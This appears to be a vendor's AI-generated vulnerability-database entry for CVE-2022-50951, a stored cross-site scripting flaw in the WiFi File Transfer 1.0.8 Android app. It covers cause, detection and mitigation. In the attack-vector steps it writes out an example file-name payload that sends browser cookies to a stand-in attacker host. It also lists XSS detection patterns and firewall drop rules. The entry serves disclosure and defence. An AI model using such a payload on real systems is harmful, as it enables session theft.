Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2022-50951

CVE-2022-50951: WiFi File Transfer XSS Vulnerability

CVE-2022-50951 is a persistent cross-site scripting flaw in WiFi File Transfer 1.0.8 that lets attackers inject malicious scripts via file names. This article covers technical details, affected versions, impact, and mitigation.

Published: February 6, 2026

CVE-2022-50951 Overview

CVE-2022-50951 is a persistent cross-site scripting (XSS) vulnerability affecting WiFi File Transfer version 1.0.8, a popular Android application that enables wireless file sharing between mobile devices and computers via a web interface. The vulnerability exists in the application's web server component, which fails to properly sanitize file and folder names before rendering them in the browser interface. Remote attackers can exploit this input validation weakness by creating files or folders with malicious JavaScript payloads embedded in their names, which are then executed when users preview or browse the infected file paths through the web interface.

Critical Impact

Attackers can execute arbitrary JavaScript code in victim browsers, potentially stealing session data, performing actions on behalf of authenticated users, or redirecting users to malicious websites when they interact with the file transfer interface.

Affected Products

  • WiFi File Transfer 1.0.8 (Android application)
  • WiFi File Transfer web server component
  • Devices running the vulnerable application version with web sharing enabled

Discovery Timeline

  • 2026-02-01 - CVE CVE-2022-50951 published to NVD
  • 2026-02-03 - Last updated in NVD database

Technical Details for CVE-2022-50951

Vulnerability Analysis

This persistent XSS vulnerability (CWE-79) arises from the WiFi File Transfer application's failure to implement proper output encoding when displaying file and folder names in its web interface. When users enable the WiFi file sharing feature, the application spawns a local web server that serves a file browser interface accessible to other devices on the same network. The web server renders directory listings dynamically, inserting file and folder names directly into the HTML response without adequate sanitization.

The attack requires the attacker to have the ability to create files or folders with specially crafted names containing JavaScript code. When a victim browses to a directory containing these malicious entries, the embedded scripts execute within the context of their browser session. This is classified as stored/persistent XSS because the malicious payload remains on the device until the file or folder is removed, affecting all users who subsequently view the directory listing.

Root Cause

The root cause of this vulnerability is improper input validation and output encoding in the WiFi File Transfer web server component. The application accepts file and folder names containing special HTML characters such as <, >, ", and ' without encoding them to their HTML entity equivalents before rendering. This allows attackers to break out of the intended HTML context and inject arbitrary script elements or event handlers.

The web server does not implement Content Security Policy (CSP) headers or other browser-based XSS protections that could mitigate the impact of successful injection attacks. Additionally, the application lacks server-side filtering of potentially dangerous patterns in file names.

Attack Vector

The attack is network-based, requiring the attacker to be on the same local network as the victim running WiFi File Transfer. The exploitation workflow involves:

  1. The attacker connects to the same WiFi network as the target device running WiFi File Transfer
  2. The attacker creates a file or folder with a malicious name containing JavaScript code (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>)
  3. The attacker uploads this file through the web interface or places it in a shared directory
  4. When any user browses to the affected directory through the web interface, the malicious script executes in their browser
  5. The script can steal session tokens, redirect users, modify page content, or perform other client-side attacks

The vulnerability requires low privileges (ability to upload/create files) and user interaction (victim must view the directory), but once triggered, the impact includes confidentiality and integrity violations in the user's browser context.

Detection Methods for CVE-2022-50951

Indicators of Compromise

  • Presence of files or folders with names containing HTML tags such as <script>, <img>, <svg>, or event handlers like onerror=, onload=
  • Unusual JavaScript execution events in browser console when accessing WiFi File Transfer web interface
  • Network traffic to unexpected external domains originating from the file transfer web interface
  • Files with names containing encoded characters like %3C (URL-encoded <) or HTML entities

Detection Strategies

  • Monitor file creation events for names containing suspicious patterns such as script tags or JavaScript event handlers
  • Implement network intrusion detection rules to identify XSS patterns in HTTP responses from local WiFi file transfer services
  • Review browser developer tools for script errors or unexpected script execution when using the application
  • Deploy endpoint detection solutions that can identify XSS exploitation attempts in local web applications

Monitoring Recommendations

  • Enable verbose logging on network segments where WiFi File Transfer is commonly used
  • Monitor for outbound connections to unexpected domains from devices running file transfer applications
  • Implement browser-based security extensions that can detect and block XSS attempts
  • Conduct periodic security audits of files and folders accessible through the WiFi File Transfer interface

How to Mitigate CVE-2022-50951

Immediate Actions Required

  • Update WiFi File Transfer to the latest available version if a patched version has been released
  • Avoid using WiFi File Transfer on untrusted or public networks
  • Do not access shared directories from untrusted devices
  • Consider using alternative file transfer applications with better security practices
  • Restrict WiFi File Transfer usage to isolated networks with trusted devices only

Patch Information

No official patch information is currently available from the vendor. Users should monitor the Google Play App Page for application updates. Additional vulnerability details can be found in the VulnCheck Advisory on XSS and the Vulnerability Lab Database #2322.

Workarounds

  • Disable the WiFi file sharing feature when not actively in use
  • Manually inspect file and folder names before browsing shared directories, avoiding those with suspicious characters
  • Use a browser with strict Content Security Policy enforcement or XSS filtering extensions
  • Implement network segmentation to isolate devices running WiFi File Transfer from sensitive systems
  • Consider using alternative secure file transfer methods such as encrypted cloud services or direct USB connections
bash
# Network isolation example - create dedicated VLAN for file transfer
# On Linux router/firewall, restrict WiFi File Transfer traffic
iptables -A FORWARD -p tcp --dport 8080 -m string --string "<script" --algo bm -j DROP
iptables -A FORWARD -p tcp --dport 8080 -m string --string "javascript:" --algo bm -j DROP

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeXSS

  • Vendor/TechWifi File Transfer

  • SeverityMEDIUM

  • CVSS Score5.1

  • EPSS Probability0.04%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityLow
  • AvailabilityNone
  • CWE References
  • CWE-79
  • Technical References
  • Google Play App Page

  • VulnCheck Advisory on XSS

  • Vulnerability Lab Database #2322
  • Latest CVEs
  • CVE-2025-52793: Esselink.nu Settings CSRF Vulnerability

  • CVE-2025-52772: Virtual Moderator CSRF Vulnerability

  • CVE-2025-48279: WC MyParcel Belgium XSS Vulnerability

  • CVE-2025-39381: KiotViet Sync CSRF Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English